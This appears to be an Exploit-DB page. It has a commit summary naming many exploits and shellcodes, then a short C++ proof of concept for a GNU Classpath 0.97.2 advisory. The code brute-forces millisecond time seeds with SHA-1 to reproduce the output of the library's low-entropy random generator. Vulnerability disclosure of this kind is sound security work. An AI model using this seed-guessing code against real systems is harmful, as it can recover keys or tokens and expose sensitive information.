880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
56 lines
No EOL
1.5 KiB
C++
56 lines
No EOL
1.5 KiB
C++
source: https://www.securityfocus.com/bid/32909/info
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GNU Classpath is prone to a weakness that may result in weaker cryptographic security because its psuedo-random number generator (PRNG) lacks entropy.
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Attackers may leverage this issue to obtain sensitive information that can lead to further attacks.
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Classpath 0.97.2 is vulnerable; other versions may also be affected.
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#include <botan/init.h>
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#include <botan/sha160.h>
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#include <botan/loadstor.h>
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using namespace Botan;
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#include <cstdlib>
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#include <ctime>
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int main(int argc, char* argv[])
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{
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Botan::LibraryInitializer init;
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// by default start with a guess of 1 minute ago
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u64bit time_guess = (std::time(0) - 60);
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time_guess *= 1000; // convert to ms
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u32bit how_many = 60000; // 60 second range by default
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if(argc >= 2)
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how_many = std::atoi(argv[1]);
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if(argc >= 3)
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time_guess = std::atoi(argv[2]);
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//printf("Starting from %lld up to %d\n", time_guess, how_many);
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SHA_160 sha;
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byte buf[8], hash[40];
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for(u32bit i = 0; i != how_many; ++i)
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{
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Botan::store_be(time_guess, buf);
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// First block
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sha.update(buf, sizeof(buf));
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sha.final(hash);
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sha.update(buf, sizeof(buf));
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sha.update(hash, 20); // previous output
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sha.final(hash + 20);
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/*
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printf("seed=%lld hash=", time_guess);
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for(u32bit j = 0; j != sizeof(hash); ++j)
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printf("%02X", hash[j]);
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printf("\n");
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*/
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++time_guess; // move to next ms
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}
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} |